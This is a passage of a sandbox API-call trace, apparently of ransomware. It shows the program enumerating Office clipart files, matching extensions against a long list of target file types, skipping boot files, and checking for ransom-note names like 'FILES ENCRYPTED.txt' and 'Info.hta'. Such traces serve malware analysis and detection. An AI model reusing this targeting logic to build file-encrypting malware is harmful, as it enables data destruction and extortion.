[0226.091] lstrlenW (lpString=".fido") returned 5 [0226.091] lstrcmpiW (lpString1=".fido", lpString2="9.JPG") returned -1 [0226.091] lstrlenW (lpString=".flm") returned 4 [0226.092] lstrcmpiW (lpString1=".flm", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".flv") returned 4 [0226.092] lstrcmpiW (lpString1=".flv", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".frm") returned 4 [0226.092] lstrcmpiW (lpString1=".frm", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".fxg") returned 4 [0226.092] lstrcmpiW (lpString1=".fxg", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".geo") returned 4 [0226.092] lstrcmpiW (lpString1=".geo", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".gif") returned 4 [0226.092] lstrcmpiW (lpString1=".gif", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".grs") returned 4 [0226.092] lstrcmpiW (lpString1=".grs", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".gz") returned 3 [0226.092] lstrcmpiW (lpString1=".gz", lpString2="JPG") returned -1 [0226.092] lstrlenW (lpString=".h") returned 2 [0226.092] lstrcmpiW (lpString1=".h", lpString2="PG") returned -1 [0226.092] lstrlenW (lpString=".hdr") returned 4 [0226.092] lstrcmpiW (lpString1=".hdr", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".hpp") returned 4 [0226.092] lstrcmpiW (lpString1=".hpp", lpString2=".JPG") returned -1 [0226.092] lstrlenW (lpString=".hta") returned 4 [0226.092] lstrcmpiW (lpString1=".hta", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".htc") returned 4 [0226.093] lstrcmpiW (lpString1=".htc", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".htm") returned 4 [0226.093] lstrcmpiW (lpString1=".htm", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".html") returned 5 [0226.093] lstrcmpiW (lpString1=".html", lpString2="9.JPG") returned -1 [0226.093] lstrlenW (lpString=".icb") returned 4 [0226.093] lstrcmpiW (lpString1=".icb", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".ics") returned 4 [0226.093] lstrcmpiW (lpString1=".ics", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".iff") returned 4 [0226.093] lstrcmpiW (lpString1=".iff", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".inc") returned 4 [0226.093] lstrcmpiW (lpString1=".inc", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".indd") returned 5 [0226.093] lstrcmpiW (lpString1=".indd", lpString2="9.JPG") returned -1 [0226.093] lstrlenW (lpString=".ini") returned 4 [0226.093] lstrcmpiW (lpString1=".ini", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".iqy") returned 4 [0226.093] lstrcmpiW (lpString1=".iqy", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".j2c") returned 4 [0226.093] lstrcmpiW (lpString1=".j2c", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".j2k") returned 4 [0226.093] lstrcmpiW (lpString1=".j2k", lpString2=".JPG") returned -1 [0226.093] lstrlenW (lpString=".java") returned 5 [0226.093] lstrcmpiW (lpString1=".java", lpString2="9.JPG") returned -1 [0226.093] lstrlenW (lpString=".jp2") returned 4 [0226.093] lstrcmpiW (lpString1=".jp2", lpString2=".JPG") returned -1 [0226.094] lstrlenW (lpString=".jpc") returned 4 [0226.094] lstrcmpiW (lpString1=".jpc", lpString2=".JPG") returned -1 [0226.094] lstrlenW (lpString=".jpe") returned 4 [0226.094] lstrcmpiW (lpString1=".jpe", lpString2=".JPG") returned -1 [0226.094] lstrlenW (lpString=".jpeg") returned 5 [0226.094] lstrcmpiW (lpString1=".jpeg", lpString2="9.JPG") returned -1 [0226.094] lstrlenW (lpString=".jpf") returned 4 [0226.094] lstrcmpiW (lpString1=".jpf", lpString2=".JPG") returned -1 [0226.094] lstrlenW (lpString=".jpg") returned 4 [0226.094] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.094] lstrlenW (lpString="J0382969.JPG") returned 12 [0226.094] lstrlenW (lpString=".love$") returned 6 [0226.094] lstrcmpiW (lpString1=".love$", lpString2="69.JPG") returned -1 [0226.094] lstrlenW (lpString="J0382969.JPG") returned 12 [0226.094] lstrcmpiW (lpString1="boot.ini", lpString2="J0382969.JPG") returned -1 [0226.094] lstrcmpiW (lpString1="bootfont.bin", lpString2="J0382969.JPG") returned -1 [0226.094] lstrcmpiW (lpString1="ntldr", lpString2="J0382969.JPG") returned 1 [0226.094] lstrcmpiW (lpString1="ntdetect.com", lpString2="J0382969.JPG") returned 1 [0226.094] lstrcmpiW (lpString1="io.sys", lpString2="J0382969.JPG") returned -1 [0226.094] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="J0382969.JPG") returned -1 [0226.094] lstrcmpiW (lpString1="Info.hta", lpString2="J0382969.JPG") returned -1 [0226.094] lstrcmpiW (lpString1="finbbp.exe", lpString2="J0382969.JPG") returned -1 [0226.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG") returned 68 [0226.094] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ebbf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf4ebbf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4ebbf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0226.095] lstrlenW (lpString="J0382970.JPG") returned 12 [0226.095] lstrlenW (lpString=".1cd") returned 4 [0226.095] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.095] lstrlenW (lpString=".3ds") returned 4 [0226.095] lstrcmpiW (lpString1=".3ds", lpString2=".JPG") returned -1 [0226.095] lstrlenW (lpString=".3fr") returned 4 [0226.095] lstrcmpiW (lpString1=".3fr", lpString2=".JPG") returned -1 [0226.095] lstrlenW (lpString=".3g2") returned 4 [0226.095] lstrcmpiW (lpString1=".3g2", lpString2=".JPG") returned -1 [0226.095] lstrlenW (lpString=".3gp") returned 4 [0226.095] lstrcmpiW (lpString1=".3gp", lpString2=".JPG") returned -1 [0226.095] lstrlenW (lpString=".7z") returned 3 [0226.095] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.095] lstrlenW (lpString=".accda") returned 6 [0226.095] lstrcmpiW (lpString1=".accda", lpString2="70.JPG") returned -1 [0226.095] lstrlenW (lpString=".accdb") returned 6 [0226.095] lstrcmpiW (lpString1=".accdb", lpString2="70.JPG") returned -1 [0226.095] lstrlenW (lpString=".accdc") returned 6 [0226.095] lstrcmpiW (lpString1=".accdc", lpString2="70.JPG") returned -1 [0226.095] lstrlenW (lpString=".accde") returned 6 [0226.095] lstrcmpiW (lpString1=".accde", lpString2="70.JPG") returned -1 [0226.095] lstrlenW (lpString=".accdt") returned 6 [0226.095] lstrcmpiW (lpString1=".accdt", lpString2="70.JPG") returned -1 [0226.095] lstrlenW (lpString=".accdw") returned 6 [0226.095] lstrcmpiW (lpString1=".accdw", lpString2="70.JPG") returned -1 [0226.095] lstrlenW (lpString=".adb") returned 4 [0226.095] lstrcmpiW (lpString1=".adb", lpString2=".JPG") returned -1 [0226.095] lstrlenW (lpString=".adp") returned 4 [0226.096] lstrcmpiW (lpString1=".adp", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".ai") returned 3 [0226.096] lstrcmpiW (lpString1=".ai", lpString2="JPG") returned -1 [0226.096] lstrlenW (lpString=".ai3") returned 4 [0226.096] lstrcmpiW (lpString1=".ai3", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".ai4") returned 4 [0226.096] lstrcmpiW (lpString1=".ai4", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".ai5") returned 4 [0226.096] lstrcmpiW (lpString1=".ai5", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".ai6") returned 4 [0226.096] lstrcmpiW (lpString1=".ai6", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".ai7") returned 4 [0226.096] lstrcmpiW (lpString1=".ai7", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".ai8") returned 4 [0226.096] lstrcmpiW (lpString1=".ai8", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".anim") returned 5 [0226.096] lstrcmpiW (lpString1=".anim", lpString2="0.JPG") returned -1 [0226.096] lstrlenW (lpString=".arw") returned 4 [0226.096] lstrcmpiW (lpString1=".arw", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".as") returned 3 [0226.096] lstrcmpiW (lpString1=".as", lpString2="JPG") returned -1 [0226.096] lstrlenW (lpString=".asa") returned 4 [0226.096] lstrcmpiW (lpString1=".asa", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".asc") returned 4 [0226.096] lstrcmpiW (lpString1=".asc", lpString2=".JPG") returned -1 [0226.096] lstrlenW (lpString=".ascx") returned 5 [0226.096] lstrcmpiW (lpString1=".ascx", lpString2="0.JPG") returned -1 [0226.096] lstrlenW (lpString=".asm") returned 4 [0226.096] lstrcmpiW (lpString1=".asm", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".asmx") returned 5 [0226.097] lstrcmpiW (lpString1=".asmx", lpString2="0.JPG") returned -1 [0226.097] lstrlenW (lpString=".asp") returned 4 [0226.097] lstrcmpiW (lpString1=".asp", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".aspx") returned 5 [0226.097] lstrcmpiW (lpString1=".aspx", lpString2="0.JPG") returned -1 [0226.097] lstrlenW (lpString=".asr") returned 4 [0226.097] lstrcmpiW (lpString1=".asr", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".asx") returned 4 [0226.097] lstrcmpiW (lpString1=".asx", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".avi") returned 4 [0226.097] lstrcmpiW (lpString1=".avi", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".avs") returned 4 [0226.097] lstrcmpiW (lpString1=".avs", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".backup") returned 7 [0226.097] lstrcmpiW (lpString1=".backup", lpString2="970.JPG") returned -1 [0226.097] lstrlenW (lpString=".bak") returned 4 [0226.097] lstrcmpiW (lpString1=".bak", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".bay") returned 4 [0226.097] lstrcmpiW (lpString1=".bay", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".bd") returned 3 [0226.097] lstrcmpiW (lpString1=".bd", lpString2="JPG") returned -1 [0226.097] lstrlenW (lpString=".bin") returned 4 [0226.097] lstrcmpiW (lpString1=".bin", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".bmp") returned 4 [0226.097] lstrcmpiW (lpString1=".bmp", lpString2=".JPG") returned -1 [0226.097] lstrlenW (lpString=".bz2") returned 4 [0226.098] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".c") returned 2 [0226.098] lstrcmpiW (lpString1=".c", lpString2="PG") returned -1 [0226.098] lstrlenW (lpString=".cdr") returned 4 [0226.098] lstrcmpiW (lpString1=".cdr", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".cer") returned 4 [0226.098] lstrcmpiW (lpString1=".cer", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".cf") returned 3 [0226.098] lstrcmpiW (lpString1=".cf", lpString2="JPG") returned -1 [0226.098] lstrlenW (lpString=".cfc") returned 4 [0226.098] lstrcmpiW (lpString1=".cfc", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".cfm") returned 4 [0226.098] lstrcmpiW (lpString1=".cfm", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".cfml") returned 5 [0226.098] lstrcmpiW (lpString1=".cfml", lpString2="0.JPG") returned -1 [0226.098] lstrlenW (lpString=".cfu") returned 4 [0226.098] lstrcmpiW (lpString1=".cfu", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".chm") returned 4 [0226.098] lstrcmpiW (lpString1=".chm", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".cin") returned 4 [0226.098] lstrcmpiW (lpString1=".cin", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".class") returned 6 [0226.098] lstrcmpiW (lpString1=".class", lpString2="70.JPG") returned -1 [0226.098] lstrlenW (lpString=".clx") returned 4 [0226.098] lstrcmpiW (lpString1=".clx", lpString2=".JPG") returned -1 [0226.098] lstrlenW (lpString=".config") returned 7 [0226.098] lstrcmpiW (lpString1=".config", lpString2="970.JPG") returned -1 [0226.099] lstrlenW (lpString=".cpp") returned 4 [0226.099] lstrcmpiW (lpString1=".cpp", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".cr2") returned 4 [0226.099] lstrcmpiW (lpString1=".cr2", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".crt") returned 4 [0226.099] lstrcmpiW (lpString1=".crt", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".crw") returned 4 [0226.099] lstrcmpiW (lpString1=".crw", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".cs") returned 3 [0226.099] lstrcmpiW (lpString1=".cs", lpString2="JPG") returned -1 [0226.099] lstrlenW (lpString=".css") returned 4 [0226.099] lstrcmpiW (lpString1=".css", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".csv") returned 4 [0226.099] lstrcmpiW (lpString1=".csv", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".cub") returned 4 [0226.099] lstrcmpiW (lpString1=".cub", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".dae") returned 4 [0226.099] lstrcmpiW (lpString1=".dae", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".dat") returned 4 [0226.099] lstrcmpiW (lpString1=".dat", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".db") returned 3 [0226.099] lstrcmpiW (lpString1=".db", lpString2="JPG") returned -1 [0226.099] lstrlenW (lpString=".dbf") returned 4 [0226.099] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.099] lstrlenW (lpString=".dbx") returned 4 [0226.099] lstrcmpiW (lpString1=".dbx", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".dc3") returned 4 [0226.100] lstrcmpiW (lpString1=".dc3", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".dcm") returned 4 [0226.100] lstrcmpiW (lpString1=".dcm", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".dcr") returned 4 [0226.100] lstrcmpiW (lpString1=".dcr", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".der") returned 4 [0226.100] lstrcmpiW (lpString1=".der", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".dib") returned 4 [0226.100] lstrcmpiW (lpString1=".dib", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".dic") returned 4 [0226.100] lstrcmpiW (lpString1=".dic", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".dif") returned 4 [0226.100] lstrcmpiW (lpString1=".dif", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".divx") returned 5 [0226.100] lstrcmpiW (lpString1=".divx", lpString2="0.JPG") returned -1 [0226.100] lstrlenW (lpString=".djvu") returned 5 [0226.100] lstrcmpiW (lpString1=".djvu", lpString2="0.JPG") returned -1 [0226.100] lstrlenW (lpString=".dng") returned 4 [0226.100] lstrcmpiW (lpString1=".dng", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".doc") returned 4 [0226.100] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".docm") returned 5 [0226.100] lstrcmpiW (lpString1=".docm", lpString2="0.JPG") returned -1 [0226.100] lstrlenW (lpString=".docx") returned 5 [0226.100] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0226.100] lstrlenW (lpString=".dot") returned 4 [0226.100] lstrcmpiW (lpString1=".dot", lpString2=".JPG") returned -1 [0226.100] lstrlenW (lpString=".dotm") returned 5 [0226.101] lstrcmpiW (lpString1=".dotm", lpString2="0.JPG") returned -1 [0226.101] lstrlenW (lpString=".dotx") returned 5 [0226.101] lstrcmpiW (lpString1=".dotx", lpString2="0.JPG") returned -1 [0226.101] lstrlenW (lpString=".dpx") returned 4 [0226.101] lstrcmpiW (lpString1=".dpx", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".dqy") returned 4 [0226.101] lstrcmpiW (lpString1=".dqy", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".dsn") returned 4 [0226.101] lstrcmpiW (lpString1=".dsn", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".dt") returned 3 [0226.101] lstrcmpiW (lpString1=".dt", lpString2="JPG") returned -1 [0226.101] lstrlenW (lpString=".dtd") returned 4 [0226.101] lstrcmpiW (lpString1=".dtd", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".dwg") returned 4 [0226.101] lstrcmpiW (lpString1=".dwg", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".dwt") returned 4 [0226.101] lstrcmpiW (lpString1=".dwt", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".dx") returned 3 [0226.101] lstrcmpiW (lpString1=".dx", lpString2="JPG") returned -1 [0226.101] lstrlenW (lpString=".dxf") returned 4 [0226.101] lstrcmpiW (lpString1=".dxf", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".edml") returned 5 [0226.101] lstrcmpiW (lpString1=".edml", lpString2="0.JPG") returned -1 [0226.101] lstrlenW (lpString=".efd") returned 4 [0226.101] lstrcmpiW (lpString1=".efd", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".elf") returned 4 [0226.101] lstrcmpiW (lpString1=".elf", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".emf") returned 4 [0226.101] lstrcmpiW (lpString1=".emf", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".emz") returned 4 [0226.101] lstrcmpiW (lpString1=".emz", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".epf") returned 4 [0226.101] lstrcmpiW (lpString1=".epf", lpString2=".JPG") returned -1 [0226.101] lstrlenW (lpString=".eps") returned 4 [0226.101] lstrcmpiW (lpString1=".eps", lpString2=".JPG") returned -1 [0226.102] lstrlenW (lpString=".epsf") returned 5 [0226.102] lstrcmpiW (lpString1=".epsf", lpString2="0.JPG") returned -1 [0226.102] lstrlenW (lpString=".epsp") returned 5 [0226.102] lstrcmpiW (lpString1=".epsp", lpString2="0.JPG") returned -1 [0226.102] lstrlenW (lpString=".erf") returned 4 [0226.102] lstrcmpiW (lpString1=".erf", lpString2=".JPG") returned -1 [0226.102] lstrlenW (lpString=".exr") returned 4 [0226.104] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5380be, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf5380be, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf5380be, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0226.104] lstrlenW (lpString="NA00068_.WMF") returned 12 [0226.104] lstrlenW (lpString=".1cd") returned 4 [0226.105] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf58455c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf58455c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf58455c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0226.107] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5f6d6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf5f6d6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf5f6d6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0226.108] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf68f613, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf68f613, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf68f613, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0226.109] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10123d5b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10123d5b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10123d5b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0226.110] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10170232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10170232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10170232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0226.112] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0226.113] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0226.114] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0226.114] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102c771c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0226.115] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10313bcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0226.116] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10339e29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10339e29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10339e29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0226.117] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10386305, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10386305, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10386305, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0226.118] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x103ac532, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x103ac532, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x103ac532, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0226.119] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1041ec4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1041ec4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1041ec4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0226.120] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10444f68, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10444f68, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10444f68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, 